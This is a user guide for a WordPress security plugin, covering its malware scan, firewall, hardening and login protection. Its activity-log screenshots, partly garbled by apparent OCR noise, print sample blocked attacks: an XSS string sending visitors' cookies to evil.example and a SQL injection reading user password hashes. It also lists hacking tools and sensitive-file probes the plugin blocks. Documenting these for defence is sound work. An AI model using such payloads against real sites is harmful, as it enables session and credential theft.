USER GUIDE

Diamond Sierra Site Defense

How to set up and use the free plugin and the Pro add-on: the daily

malware scan, the firewall and early firewall, login protection with

CAPTCHA and two-factor login, email alerts, and the Pro tools for cleaning

a hacked site and keeping it clean.

Free 2.0 Pro 2.0 WordPress 5.8+ - PHP 7.4+

Install and first scan

Diamond Sierra Site Defense needs no account and no API key. Install it, run one

scan, and it keeps watch from then on.

1. In WordPress go to Plugins — Add New, search for Diamond Sierra Site Defense, click Install Now, then

Activate. (Or upload diamond-sierra-site-defense.zip under Upload Plugin.)

2. Open Site Defense in the admin menu and click Scan now (top right). The first scan builds the baseline

that later scans compare against. It runs in small steps in the background, so you can leave the page.

3. If your site runs behind Cloudflare or another proxy, go to Settings — Network & compatibility and check
Visitor IP comes from. The setting shows the address Site Defense sees for you right now; if that is your

host's or Cloudflare's address instead of yours, change it. Otherwise one bad visitor could get everyone
blocked.

4. Open the Hardening tab and apply the recommended items. Each has its own button.

5. On the Firewall tab, click Turn on early firewall, and copy the private unblock link into your password

manager.

6. Turn on two-factor login on your own profile, and pick a CAPTCHA for the login form.

Daily scans and WP-Cron. The daily scan is started by WP-Cron, which only runs when
someone visits the site. On a very quiet site, ask your host for a real cron job that calls wp-

cron.php every 5 minutes so the scan always starts on time.

What's new in 2.0

If you used Site Defense 1.x, these are the changes you will notice first.



Free plugin

Delete file, Repair and View file on every file finding. Deleted files are kept for 30 days on the Quarantine

tab, so any mistake can be undone.

Remove tasks, Delete settings, Remove admin rights and Delete account on findings for self-restoring

malware and fake administrators.

A new Tasks & hidden code tab: every scheduled task and the plugin behind it, and every must-use plugin

and drop-in.

The early firewall, set up in one click with no file editing on your part, and a private unblock link for

when your own address gets blocked.

Access rules: block addresses, browsers, referring sites and hosting companies, and an optional login

allowlist.
Email codes for two-factor login, for people without an authenticator app.

Fake search engines, 404 probing and Al training crawlers can be blocked, and the Firewall tab shows
which Al bots visit.

One security email a week by default, sent only when something is new.

Pro add-on

Recover from a hack, bulk actions, an emergency lockdown and a cleanup report to print or save as
PDF.

Live traffic with country flags, and country blocking for the whole site or only for logging in.

An Al advisor that explains in plain words what to fix first, with the Al service you choose. Some have free

keys.
The vulnerability check needs no API key any more.

Administrator approval by email, a security header editor, an hourly homepage watch and a comeback
detector for deleted malware.

Pro 2.0 needs the free plugin 2.0. Update the free plugin first. Until you do, Pro shows a

notice and stays off; nothing breaks.

Free and Pro compared

The free plugin is a complete security plugin on its own: every firewall rule is in it, and none is held back for

paying users. Pro is a separate add-on for people who clean hacked sites, run shops or look after many sites. It

installs next to the free plugin and adds its features through it.



Feature

SCANNING

Daily malware scan of files and the live homepage
Core, plugins and themes checked against WordPress.org
Risky plugin alerts (closed, security update waiting, abandoned)

Fake admins, malware tasks and settings, must-use plugins, exposed

backups
Database scan, and hidden admins and injected code in the database
CVE matching and supply-chain watches

How often

FIXING

Delete, repair and view files one at a time, with a 30-day undo
Delete or repair many files at once

Remove injected code from the database, with undo

"Fix automatically", Recover from a hack and the recovery kit

Comeback detector and cleanup report
FIREWALL AND LOGIN

Firewall, login limits, honeypot and custom login URL

Early firewall that runs before WordPress

Two-factor login (app or email) and breached-password check
CAPTCHA: math, Turnstile, reCAPTCHA v2, hCaptcha

Country blocking and live traffic

Free

Daily

Pro

Up to
hourly



Feature

Emergency lockdown and approval for new administrators

Security header editor and Content Security Policy

Invisible reCAPTCHA v3 and WooCommerce forms

Stolen-cookie protection and "Confirmit's you"

Your own malware patterns and firewall rules
ALERTS AND TOOLS

Email alerts for scans, new admins and new-IP logins

Al advisor

Hourly homepage check for defacement and redirects

Alert centre, Slack/Discord, digests, activity log

White-label, settings export and import, WP-CLI scan commands

Multisite, Site Health, WP-CLI recovery commands

Free

Pro



FREE PLUGIN

Dashboard and security score

The dashboard shows the security score out of 100, the result of the last scan and when the next one runs.
Each point missing from the score is a check you can fix, and See all checks explains every one in plain

English.

O 4 serious issues @ Scan now

@& Dashboard Q Scan results @B D Recovery § i Hardening D) % Firewall @ Tasks & hidden code B Quarantine

L} Settings +* Pro 2 Live traffic

Recovery in progress: you fixed malware recently and 7 steps are left on the post-cleanup checklist. Open the checklist —

! Al security advisor
The Al you chose reads a summary of the latest scan and says, in plain words, what to fix first. Nothing is sent until you press the button.

-

Choose an Al service and add its key

Q, Malware scanner Active

SECURITY SCORE Lastscan 41 minutes ago - 2,440 files
Needs attention Next scan  Movember 8, 2026 3:00 am

5 9 7 things can make your site safer. Each one is explained below with
a button to fix it.

) T 3 4
. Critical High Medium Low

[ See all checks |

Firewall Active 0 Login protection  Active Hardening Partly on Blocked IPs  Active

L & a8 Q
attacks blocked today ockouts today pratections active blocked right now

The score, the scanner and the status tiles. With Pro, the Al advisor card sits at the top. The Scan now button in

the header works from every tab.

* The header badge says Not scanned yet until the first scan finishes, then Protected, or how many serious

issues are open.

* The grade is held at D ("Needs attention") while a critical finding is open, however well the site is

hardened. Malware outweighs everything else.

* The status tiles say Paused when another security plugin handles the firewall or the login limits, and

Partly on when some hardening is still off.



Latest blocked attacks

Further down, Latest blocked attacks lists what the firewall stopped: the attack in plain words, what it would
have done, the address and the page. One attack from an address is normal background noise on the internet;
repeat offenders are blocked automatically and marked /P blocked. For the others, Block this IP shuts the

address out of the whole site. The button never appears for your own address or one on your never-block list.

¥ Latest blocked attacks
What the firewall stopped, in plain English. One attack from an address is normal background noise on the internet; repeat offenders are blocked automatically.

| Full firewall log

Repeat attacker blocked
W This address kept sending attacks, 50 the whole site is now closed to it for a while. You can unblock it on the Firewall tab. IP blocked

27 minutes ago - from 198.51.100.150 - on /xmirpc.php

Vulnerability scanner
¥ A hacking tool (like WPScan, sqlmap or Nuclei) was scanning your site for weaknesses before an attack. IP biocked

27 minutes age - from 198.51.700.150 - on /xmirpc.php

Repeat attacker blocked

W This address kept sending attacks, so the whole site is now closed to it for a while. You can unblock it on the Firewall tab. IP blocked
27 minutes ago - from 192.02.201 - on /
Cross-site scripting

W  Someone tried to slip JavaScript into your pages. If it got stored, it would run in visitors' browsers — to steal logins, redirect them or show fake pages. IP blocked
27 minutes ago - from 192.02.201 - on /
SQL injection

Someone tried to trick your database into handing over or changing data — for example user accounts and password hashes — by hiding database

i Block this IP
commands in a link or form. \ J

27 minutes ago - from 192.02.66. on /

Each blocked request says what the attacker tried, for example cross-site scripting (slipping JavaScript into

your pages) or SQL injection (reading your database through a link or form).

The Action center under it lists what to do next, most important first, each with a button that does it.

Malware scan and fixes -

Once a day, at the time you choose in Settings, Site Defense checks:

* WordPress core against the official checksums from WordPress.org.

* Plugins and themes from WordPress.org against their official copies. A changed file is a sign of

tampering; files that match are skipped.

* Everything else (premium plugins, uploads, must-use plugins) for malware signatures: web shells, hidden
eval() backdoors, fake CAPTCHA pages, clipboard hijackers and loaders that pull code from blockchain
contracts.

e Malware that reinstalls itself: watchdog files, and the settings and scheduled tasks it keeps in the
database.



® Accounts by what they can do, not by what their role is called, so a "Subscriber" with administrator powers

is caught.

* Leftovers anyone could download: copies of wp-config.php ,database dumps, backups, error logs,

.env and .git.

* Your live homepage, fetched like a visitor arriving from Google and again as Googlebot, to catch spam and

redirects that hide from logged-in users.

* Your plugins' WordPress.org status: removed for a security issue, a security fix waiting in an update, or

no update in over two years.

Scan results

Findings are sorted by risk. Each one says what was found and why it matters, and has the buttons that fix it:

o Diamond Sierra Site Defense

© 4 serious issues @ Scan now

Version 2.0.0

@& Dashboard O Recovery ) B Hardening &) % Firewall (@® Tasks & hidden code & Quarantine

£} Settings ¥ Pro A Live traffic

Open | Ignored | Resolved

Verification scan scheduled: the site will be re-scanned at November 7, 2026 7:09 pm to confirm your fixes worked. Run it now

3 1 2 1 The remaining issues need a decision from you - use the buttons on each row.
Critical H Medium Low

[}

Before you clean up: take a backup. "Repair” puts back the verified copy from WordPress.org. "Delete file" removes a file that isn't part of WordPress, a plugin or a theme, and keeps
a copy for 30 days on the Quarantine tab in case something needed it. “View file" shows the code with the matches marked. When the list is clear, work through the post-cleanup
checklist,

Delete ticked files H Apply ] [ Delete 1 file J

O risk lssue Where Actions

CRITICAL A t "she " is labelled “Subscriber” but has administrats h
O - p;f::,[; shopper” is labelled "Subscriber” but has administrator shopper

» Show details

Delete account

Mark as fixed Ignore

settings of known self-restoring malware are in the database Database option A
- Delete settings
» Show details csc_guardian_state

0

Eon ember 7, 202 ) pm - malware-options Mark as fixed Ignore
O Scheduled tasks of known self-restoring malware are set to run cron:
) Remove tasks
» Show details csc_guardian_healthcheck
Found 7, 2 ) pm - malware-cron Mark as fixed Ignore
——\
HIGH Known malware watchdog file (wp-runtime-guard / wp-site-guard| wp-content /mu-plugins/wp-
D g ( p g / p g ] wp-content/mu-plugins/wp Dele(eﬁfe | View h‘e |
Found November 7, 2026 6:28 pm . malware-path runtime-guard.php X

Mark as fixed Ignore

—
MEDIUM oto-based obfuscation - tent/plugins/aki t/
D g wp-content/plugins/akisme Delete file | View file |
» Show matched code cgnghixvi.php )
Found November 7, 2026 6:28 pm - php-goto-maze Mark as fixed Ignore

A N dministrator "admin” registered on 2026-11-07 18:26:02 di
0 | meowm _ewa ministra i)r_ admin" registered on admin

The buttons change with the finding. Above the list, Pro adds the tick boxes and the bulk action menu.




* Delete file removes a file that isn't part of WordPress, a plugin or a theme. A copy is kept for 30 days on the

Quarantine tab.

* Repair puts back the verified copy of a changed core, plugin or theme file from WordPress.org. View
differences shows what was changed. Official files can only be repaired, never deleted.

¢ View file shows the code with the matched lines marked, before you decide. The database login and keys

in wp-config.php stay hidden.

* Remove tasks and Delete settings clear what self-restoring malware keeps in the database (a backup is
kept).

* Remove admin rights or Delete account for a fake or hidden administrator.

* Mark as fixed for something you dealt with by hand, and Ignore for a false alarm. An ignored file comes

back if it changes again.

' o Diamond Sierra Site Defense
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@ Dashboard “D Recovery B Hardening ; % Firewall @© Tasks & hidden code E Quarantine

£F Settings +* Pro A Live traffic

— Back to the findings

wp-content/plugins/akismet/cgnghixvx. php

MEDIUM | goto-based obfuscation
Delete file [ Ignore |
43 lines, 604 B. Go tch on line 2

{2php

goto LA@;
goto L1;
goto L2;
goto L3;
goto L4;
goto L5;
goto L6; L6:
goto L7;

goto LE;

goto L9; L9
goto L18; Lil@:
goto L11; L11:
goto L12; L12:

View file: the matched line is marked and you can jump straight to it.

After a fix, a short verification scan runs a few minutes later on its own, to confirm the problem is gone and

nothing put it back. Use the Open, Ignored and Resolved links above the list to switch lists.

Take a backup before a cleanup. Everything Site Defense removes can be put back from

the Quarantine tab or its backups, except a deleted account.



Tasks & hidden code ==

Malware often survives a cleanup in places the Plugins screen doesn't show. This tab lists them.

Scheduled tasks

Everything WP-Cron will run, when it runs next, and the plugin or theme behind it. Tasks of known self-
restoring malware families are marked Critical and float to the top. A task with no code behind it was usually
left by a plugin you removed and is safe to delete. Some plugins load their task code only while the task runs;
Site Defense recognises those by name and says Keep it. WordPress's own tasks and Site Defense's can't be
deleted.

(© Scheduled tasks 23

Everything WP-Cron will run, and the plugin or theme behind it. Malware often leaves a task behind that re-downloads it or recreates a hidden administrator after a cleanup.

2 look suspicious

Task MNext run Added by Actions
recovery_mode_clean_expired_keys Overdue WordPress
Once Daily WP_Recovery Mode::clean_expired keys
wp_privacy_delete_old export_files Overdue WordPress
Once Hourly wp_privacy dele

wp_privacy personal data cleanup_ Overdue WordPress
requests Once Dail wp_privacy personal data_cleanup_requests
wp_version_check Overdue WordPress

Twice Daily wp_version_check

m csc_guardian_healthcheck in 13 minutes  Mothing: probably left behind by a plugin you removed.
e

Belongs to a known self-restoring malware Once Hourly Safe to delete.

family

m csc_geogate_refresh in 1 hour Mothing: probably left behind by a plugin you removed.
e

Belongs to a known self-restoring malware Once Safe to delete.

family

» Show stored data

Two tasks of a known malware family. Delete removes them.

Must-use plugins and drop-ins

These run on every page and can't be turned off on the Plugins screen. Hosts and caching plugins add some on

purpose; malware adds them because they are easy to miss. Each one shows what the scan found in it.



K¢ Must-use plugins and drop-ins = ¢
These run on every page without appearing on the Plugins screen, and can't be turned off there. Hosts and caching plugins add some on purpose; malware adds them because they
are easy to miss. Every one is checked by the scan.

File Says it is Last changed Scan
wp-content/mu-plugins/wp-runtime- Runtime MNovember 7, 2026 6:26 pm HIGH | Known malware watchdog file (wp-runtime-guard / wp-site-

guard.php Guard guard)

. View file | Delete file
A malware watchdog posing as a must-use plugin.

Quarantine =

Deleted and quarantined files are kept here for 30 days, under a random name withouta .php extension so
they can't run. If the site misbehaves after a cleanup, click Restore. Once you're sure the site works without a
file, delete it for good.

9 Diamond Sierra Site Defense

© 4 serious issues @ Scan now

Version 2.0.0

@& Dashboard Q Scan results o “D Recovery | B Hardening &9 % Firewall @© Tasks & hidden code B Quarantine

£F Settings +* Pro A Live traffic

Files in quarantine are stored under a random name without a PHP extension, so they can't run. Once you're sure the site works without them, delete them.

Original location Reason Date Size Actions
wp-config.php.bak A copy of the site's configuration is on the server November 7, 2026 7:06 pm 448 ( )
: Restore Delete

A deleted backup of wp-config.php, kept for 30 days.

Hardening -

Each item closes a common way in. Every card says what it does and why it matters, and has its own button, so
you turn on what suits your site and leave the rest. Items Site Defense can't change on your server (for
example on nginx) show How to fix with the steps and, where needed, the exact lines to give your host. The

badge on the tab counts what is still open.



o Diamond Sierra Site Defense

© 4 serious issues @ Scan now

Version 2.0.0

@ Dashboard % Firewall (© Tasks & hidden code B Quarantine

Q scan results (P “D Recovery
% Pro

¥ Settings A Live traffic

Grade D - Needs attention
[

i
The score weighs each check by how much real-world risk it removes. Items that depend on your server
setup are left out when Site Defense can't change them.

¥ All recommended protections active

59/100

Hardening 10116
,

@ Web application firewall Active @ Disable the theme & plugin file editor Active

What it does: Removes Appearance — Theme File Editor and Plugins — Plugin File
Editor from the dashboard.

What it does: Inspects every request and blocks SQL injection, cross-site scripting,
malicious uploads, hacking teols and probes for sensitive files. Repeat offenders are

Blacked automatically. Why it matters: With a stolen admin password, the editor lets an attacker paste a

Why it matters: Most hacks start with an automated bot trying known exploits backdoor into your theme in seconds. It's the first thing they reach for.

against thousands of sites. The firewall stops those requests before they reach a

vulnerable plugin. @ You'll edit theme files over FTP or your host's file manager instead.

Recommended Impact on score: 12 Revert Recommended  Impact on score: 8 Revert

Block PHP execution in uploads Server config Block access to sensitive files Server config

What it does: Stops browsers downloading wp-config.php backups, debug.log,
error_log, readme.html, license.txt and PHP config files.

What it does: Adds a rule to wp-content/uploads/.htaccess so the server refuses to
run any PHP file in the uploads folder.

Why it matters: debug.log often contains file paths and database errors, and
readme.html tells bots exactly which WordPress version to attack.

Why it matters: Uploads is the one folder WordPress must be able to write to, soit's
where attackers drop their backdoors. If PHP can't run there, a dropped backdoor is

harmless.
@ Site Defense checks your site still loads after adding the rule and removes it
again automatically if your host rejects it.
Recommended Impact on score: 8 How to fix Recommended Impact on score: 6 How to fix
Disable directory listing Server config & Disable XML-RPC Active

What it does: Stops the server showing a list of files when someone opens a folder
without an index file.

Why it matters: Folder listings hand attackers a map of your plugins, backups and

What it does: Shuts off xmlrpc.php, the old remote-publishing API, including
pingbacks.

Why it matters: One XML-RPC request can test hundreds of passwords at once, and

uploads. pingbacks are used to turn sites into DDoS amplifiers.

Active items show Revert, so every change can be undone.

e Disable XML-RPC (leave it on if you use Jetpack or the WordPress mobile app).
® Disable the theme and plugin file editor.

* Block PHP in uploads, protect sensitive files, turn off directory listing.

® Stop username enumeration, hide version numbers, send security headers.

* Disable application passwords if nothing uses them.

Firewall =

The firewall blocks SQL injection, cross-site scripting, path traversal, remote file inclusion, command injection,
PHP object injection, disguised PHP uploads and SVGs with scripts. It also reads JSON sent to the REST API



and cookies, not just forms. Logged-in administrators and editors are never filtered, so page builders keep

working.

Blocked IPs and the activity log

Blocked IPs
IP Blocked from Reason Until
198.51.100.158 Whole site Firewall: 5 blocked requests in 10 minutes Movember 7, 2026 7:44 pm Unblock
192.8.2.281 Whole site Firewall: 5 blocked requests in 10 minutes November 7, 2026 7:44 pm Unblock
263.9.113.7 ‘ Reason (optional) ‘ [ Block IP 1

Your current IP is 203.0.113.10. It can't be blocked from here.

An address that keeps attacking is blocked on its own. You can block one by hand, but never your own.



Activity log

All | Firewall | Login | Scans | Admin | Content policy | Activity

When P

November 7, 2026 6:44 pm 192.

November 7, 2026 6:44 pm 192.

@.2.148

@.2.148

Event

login Login locked out

5 failed logins (last username: admin)

login Account locked for new IPs
admin (18 failed loginsz from different IPs)

Clear log

Request

fwp-login.php
Morzilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/141.0.0.0 Safari/537.36

Jfwp-login.php
Morzilla/5.0 (Windows NT 10.0; Winb4; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/141.0.0.0 Safari/537.36

November 7, 2026 6:44 pm 198.51.1€0.150 firewall P blocked for 60 minutes fxmlrpc.php
sglmap/1.9 (https://sqimap.org)
This address kept sending attacks, so the whole site is now closed to it
for a while. You can unblock it on the Firewall tab.
Movember 7, 2026 6:44 pm 198.51.100.158 firewall Vulnerability scanner /xmlrpc.php
sglmap sqimap/1.9 (https//sgimap.org)
A hacking tool (like WPScan, sqlmap or Nuclei) was scanning your site
for weaknesses before an attack.
Movember 7, 2026 6:44 pm 192.8.2.281 firewall P blocked for 60 minutes /?5=%3Cscript¥3Edocument . location%30%27//
evil.example,/¥27%2Bdocument . cookie%3C/scri
This address kept sending attacks, so the whole site is now closed to it T
for a while. You can unblock it on the Firewall tab. B
Mezilla/5.0 (Windows NT 10.0; Wing4; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/141.0.0.0 Safari/537.36
MNovember 7, 2026 6:44 pm 192.8.2.201 firewall Cross-site scripting /3s=%3Cscript¥3Edocument. location%30%27//
<script evil.example/%27%2Bdocument. cookie®3C/scri
ptE3E
Someone tried to slip JavaScript into your pages. If it got stored, it
e 7 : Mozilla/5.0 (Windows NT 10.0; Win64; x64)
would run in visitors' browsers — to steal logins, redirect them or show -
T AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/141.0.0.0 Safari/537.36
November 7, 2026 6:43 pm 192.0.2.66 firewall SQL injection £21d=1%27+UNION+SELECT+user_login,user_pa

UNION SELECT

Someone tried to trick your database into handing over or changing
data — for example user accounts and password hashes — by hiding
database commands in a link or form.

SS+FROM#Wp_uUsers--+-

Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/141.0.0.0 Safari/537.36

Every entry says what happened in plain English. Filter by Firewall, Login, Scans and Admin; Pro adds Content

policy and Activity.

If you lock yourself out

The Firewall tab has a private unblock link. Opening it removes every block on the address you open it from
and trusts that address for an hour. Keep it in your password manager. Anyone who has it can only unblock
their own address; it gets nobody past your password or two-factor login. Make a new link stops the old one

working.



If you lock yourself out
Opening this private link removes every block on the address you open it from and trusts that address for an hour. Keep it in your password manager. Anyone who has it can
unblock their own address, but it gets nobody past your password or two-factor login.

‘ https://example.com/?dssd_unblock=xxxxxeooiaonaaooOiXaiai

Make a new link

The unblock link. Its secret part is hidden in this picture.

Al crawlers

The Al crawlers card shows which Al bots visit, how often, and whether they are allowed. Turn blocking on

under Firewall settings.

Al crawlers Settings
Bot Used for Visits Turned away Last visit Now
GPTBot Training Al models & 0 November 7, 2026 6:43 pm Allowed
OpenAl

Visits served from a page cache before WordPress loads aren't counted or blocked. The robots.txt rules still apply to them.

Visits are counted whether or not you block them.



Firewall settings

% Firewall

Runs before the rest of WordPress loads and blocks malicious requests. Administrators and editors are never filtered, so page builders
keep working.

Web application firewall Recommended ()

Blocks SQL injection, cross-site scripting, path traversal, remote file
inclusion, command injection, PHP cbject injection, disguised PHP
uploads and SVGs with embedded scripts.

Firewall mode
= : s : Block attacks v
Log only records what the firewall would block without blocking it. Use it

for a few days after adding a new form or plugin, then switch back.

Block hacking tools Recommended ()

Turns away known vulnerability scanners (WPScan, sglmap, Nuclei, Nikto
and others) and probes for .env, .git, wp-config backups and known web
shell names.

Auto-block after

. ‘ = blocked requests
How many blocked requests an IP may make within 10 minutes before

the whole site is closed to it. Real visitors almost never trigger a single

rule.

Block duration

i ‘ 60 minutes
How long an auto-blocked IP stays blocked. You can unblock anyone

early from the Firewall tab.

Block fake search engines Recommended ()

Bots that call themselves Googlebot, Bingbot, Applebot, YandexBot or
Baiduspider are checked against that search engine’s own network: first
the IP lists Google, Bing and Apple publish (downloaded daily), then
reverse and forward DNS, cached for a day. Impostors are blocked; the
real crawlers and your SEO are not affected. If neither can answer, the visit
is let through.

Block 404 probing Recommended O
An IP that asks for many pages that don't exist within 5 minutes is

hunting for vulnerable plugins or old backups, and is blocked for the

block duration above. Missing images, styles and fonts don't count,

missing .php, backup and readme files count double, and logged-in users

and real search engines are never counted.

...after
i L . 30 missing pages
Missing pages allowed within 5 minutes. |

The first part of the Firewall card in Settings.

* Firewall mode. Log only records what would be blocked without blocking it. New installs log for their first

week, then start blocking on their own. Start blocking now on the Firewall tab switches early.

¢ Block hacking tools turns away vulnerability scanners (WPScan, sqlmap, Nuclei, Nikto) and probes for

.env, .git and backup files.

¢ Auto-block after and Block duration: how many blocked requests an address may make within 10

minutes before the whole site is closed to it, and for how long.

¢ Block fake search engines: bots that call themselves Googlebot, Bingbot, Applebot, YandexBot or
Baiduspider are checked against that search engine's own network. Impostors are blocked; real crawlers

and your SEO are not affected.



* Block 404 probing: an address asking for many pages that don't exist is hunting for vulnerable plugins and

old backups. Missing images, styles and fonts don't count, and logged-in users and real search engines are

never counted.

Block Al training crawlers

Keeps bots that collect pages to train Al models (GPTBot, ClaudeBot,

CCBot, Bytespider, Meta, Amazon and others, plus Google-Extended and
Applebot-Extended) off the site: they are told in robots.txt, and the ones
that ignore it are turned away. Search engines and Al assistants fetching a
page for a user (ChatGPT search, Claude, Perplexity) still get in. Visits are
counted on the Firewall tab either way.

Choose Al bots one by one

Tick the bots to block while "Block Al training crawlers” is on. Training bots collect pages for Al models. Assistants fetch a page
because someone asked ChatGPT, Claude or Perplexity about it, or build an Al search index: blocking them keeps your site out of

those answers,
TRAINIMNG Al MODELS

GPTBat
OpenAl

Google-Extended

Google

CCBot
Commeon Crawl

cohere-training-data-crawler
Cohere
PanguBot
Huawei
omgili
Webz.io
AMNSWERING USERS AND Al SEARCH

[] oal-SearchBot
Opendl

[] Claude-User
Anthropic

[] meta-externalfetcher
Meta

ClaudeBot
Anthropic

Applebot-Extended
Apple

Bytespider
ByteDance

Al2Bot
Allen Institute for Al

Timpibat

Timpi

omgilibot

Webz.io

[] chatGPT-User
OpenAl

[] PerplexityBot

Perplexity

[] Mistralal-user
Mistral

anthropic-ai
Anthropic

meta-externalagent
Meta

Amazonbot

Amazon

Diffbot
Diffbot

ImagesiftBot
Image5ift

img2dataset

img2dataset

[] claude-searcheot
Anthropic

[] Pperplexity-User

Perplexity

[] DuckassistBot
DuckDuckGo

With Pro you choose the bots one by one. Training bots are ticked by default; assistants that fetch a page for a

person are not.

* Block Al training crawlers: bots that collect pages to train Al models (GPTBot, ClaudeBot, CCBot,

Bytespider and others) are told in robots.txt ,and the ones thatignore it are turned away. Assistants

fetching a page for a person (ChatGPT search, Claude, Perplexity) still get in.

® Choose Al bots one by one PRO : pick exactly which bots to block, assistants and Al search included.



Block bad bots  Recommended O

Turns away tools that copy whole sites, collect email addresses or scrape
pages (HTTrack, Scrapy, Phantomls, email extractors and others), and
form posts sent with no browser name and no referring page. The REST
AP|, AJAX, XML-RPC and payment callbacks are not checked, so
webhooks keep working.

Block SEQ crawlers

Turns away the crawlers of SEQ tools (Ahrefs, Semrush, Majestic, Moz,
DataForSEQ and others). They are legitimate but can be heawy. Leave this
off if you or your SEQ agency use one of these tools on this site.
robots.txt stays readable.

Rate limiting Recommended

Limits how many pages one IP may ask for in a minute. Logged-in users,
your allowlist and verified search engines are never counted, nor are AJAX
calls, cron and the WooCommerce cart and checkout.

...for browsers F

. N . ) 30 pages a minute
Pages a minute for visitors with a normal browser. A person reading the
site rarely asks for more than 20.
...for other bots _

i : : 5 10 pages a minute
Pages a minute for scripts and crawlers that aren't a verified search
engine.
Over the limit

o _ . . Slow down v

Slow down answers “try again in 38 minute” (503 with Retry-After) until the
minute is over. Block closes the site to that IP for the block duration
above,
Catch comment spam bots Recommended ()

Adds an invisible decoy field and a time stamp to the comment form.
Comments from scripts that skip the form, fill in the decoy or post within
seconds go to the Spam folder, where you can approve them if they were
real. An IP caught three times in a day is blocked.

The rest of the Firewall card.

¢ Block bad bots: site copiers, email harvesters and scrapers, and form posts sent with no browser at all.

Block SEO crawlers can turn away Ahrefs, Semrush and similar tools too.

¢ Rate limiting: separate per-minute limits for browsers and for bots, either slowing the visitor down or
blocking them. Logged-in users, real search engines, AJAX and the WooCommerce cart and checkout are

never counted.

® Catch comment spam bots with an invisible decoy field and a time stamp. Caught comments go to Spam.

Early firewall r==

Normally the firewall starts when WordPress loads its plugins. The early firewall runs before WordPress and

every other plugin, so an attack on a vulnerable plugin is stopped before that plugin's code even starts.



Click Turn on early firewall on the Firewall tab. That's all: you don't edit any file yourself. Site Defense works
out how your server starts PHP and sets itself up in the right place, .user.ini, .htaccess orthe top of wp-
config.php , with a short block marked Diamond Sierra Site Defense early firewall. The card says which file it

used.

W Early firewall
Runs the firewall before WordPress and your other plugins load, so an attack on a vulnerable plugin is stopped before that plugin's code even starts. The normal firewall protects

every page either way.

off

Starts from wp-config.php

This server doesn't take PHP settings from the website folder, so Site Defense starts from the top of wp-config.php instead. It still runs before every plugin and theme.

Turn on early firewall

On this server Site Defense starts from the top of wp-config.php. On others it uses .user.ini or .htaccess.

* Another firewall already runs this way (Wordfence's, for example)? Site Defense runs first and then

hands over to it, so both keep working. Nothing to change.
® Onserversthatread .user.ini  PHP can take up to five minutes to notice the change. That is normal.

* Turn off early firewall takes its line out again. A small loader file stays in the WordPress folder for a while

so pages keep working while PHP still remembers it; it does nothing on its own.

® You stay trusted: administrators and editors who are logged in are never filtered, just like the normal

firewall.

Access rules -

Your own rules about who gets in, under Settings — Access rules. They keep working while another security

plugin runs the firewall.



B Access rules

Your own rules about who gets in. They keep working when another security plugin runs the firewall. If a rule ever locks you out, add
define( 'DSSD_DISABLE_FIREWALL', true ); to wp-config.php.

Block IP addresses e.g. 203.6.113.7

One per line: a single ?c:'dress or a range such as 203.0.113.0/24. IPv6 198.51.166.0/24
works too. Your allowlist always wins.

Block user agents
9 e.g. BadScraper

One per line. A visitor whose browser name contains the text is blocked
(at least 4 characters, not case-sensitive).

Block referring sites .
e.g. spam-site.example
One domain per line. Visitors coming from that site, or any subdomain of

it, are blocked. Useful against referrer spam.

Block hastnames e.g. attacker-hosting.example

One domain per line, matched against the visitor's reverse DNS name, for
example a hosting company whose servers keep attacking you. Each new
visitor costs one DNS lookup (remembered for a day), so only use this

when you need it. %

Login allowlist
ogin allowlis e.g. 203.8.113.7

When this has addresses in it, administrators, editors and shop managers
can only log in from them. Customers and subscribers log in as before.
Your current IP is added for you when you save. Escape hatch: define(
'DSSD_DISABLE_LOGIN_ALLOWLIST', true }; in wp-config.php. Your IP right 2
now. 263.0.113.1@

Lock the REST API for logged-out visitors

Logged-out visitors can then only use the routes listed below, which
front-end features need. Logged-in users, apps with an application
password and WooCommerce API keys are not affected. Turn it off again
if a front-end feature stops working, or add its route below.

..open routes

foembed/
Cne route prefix per line, as it appears after /wp-json. The defaults cover Jwc/store/
embeds, the WooCommerce cart and checkout, Contact Form 7, Jetpack s
and a few common plugins. /jetpack/

One rule per line in each box.

¢ Block IP addresses: single addresses or ranges such as 203.0.113.0/24 , IPv6 too. Your allowlist always

wins, and a save never blocks the person making it.

¢ Block user agents, referring sites and hostnames (for example a hosting company whose servers keep
attacking you).

* Login allowlist: administrators, editors and shop managers can only log in from these addresses.

Customers and subscribers log in as before. Your current address is added for you when you save.

¢ Lock the REST API for logged-out visitors: they can then only use the routes listed below it, which cover
embeds, the WooCommerce cart and checkout, Contact Form 7 and Jetpack.



Login protection =

& Login protection
Stops password-guessing bots. Lockouts only close the login page - the rest of the site stays open, so a customer who forgot their
password can still shop.

Failed attempts allowed

) ) ‘ 5 attempts
Wrong passwords allowed from one IP before the login page locks. |

Failed attempts per account

; ‘ 10 attempts
Wrong passwords allowed for one account, from any number of IPs, | |

before that account is locked for new 1Ps. Catches botnets that spread
their guesses so no single [P hits the limit. IPs the account has logged in
from before are never locked out, so nobody can use this to lock you out.

..within

. . ) ‘ 15 minutes
The time window the attempts are counted in. |

Lockout length

‘ 30 minutes
How long the login page stays locked. An IP locked out three times in a

day is locked for 24 hours.

Trap usernames 7
admin

Anyone who tries to log in with one of these names is locked out for a
day on the first attempt — but only if no real account uses that name. Bots
almost always try admin first.

administrator
root

test
s “

Keep trap usernames from being registered Recommended ()

Mobody can create a new account with one of the trap usernames above,
on any form, WooCommerce included. Existing accounts with those
names keep working.

Strong passwords for powerful accounts  Recommended ()

Administrators, editors and shop managers must use at least 12
characters, without their name, email or the site name, mixing letters,
numbers or symbols (a passphrase of 16 characters or more needs no
mix). Checked on the server wherever a password is set. Customers are
not affected.

Block breached passwords Recommended

Refuses new passwords that appear in known data breaches, and wams
users at login if theirs does. Uses Have | Been Pwned: only the first 5
characters of a SHA-1 hash of the password are sent, never the password
itself.

Lockouts only close the login page. The rest of the site stays open, so a customer who forgot their password can

still shop.

* Failed attempts allowed locks the login page for one address after too many wrong passwords.

* Failed attempts per account catches botnets that spread their guesses over many addresses. The account
is locked for new addresses only: addresses it has logged in from before are never locked out, so nobody

can use this to lock you out.
¢ Lockout length. An address locked out three times in a day is locked for 24 hours.

* Trap usernames. Anyone who tries a name like admin on a site without such a user is locked out for a day

on the first try. These names can't be registered either.



* Strong passwords for powerful accounts: administrators, editors and shop managers need at least 12

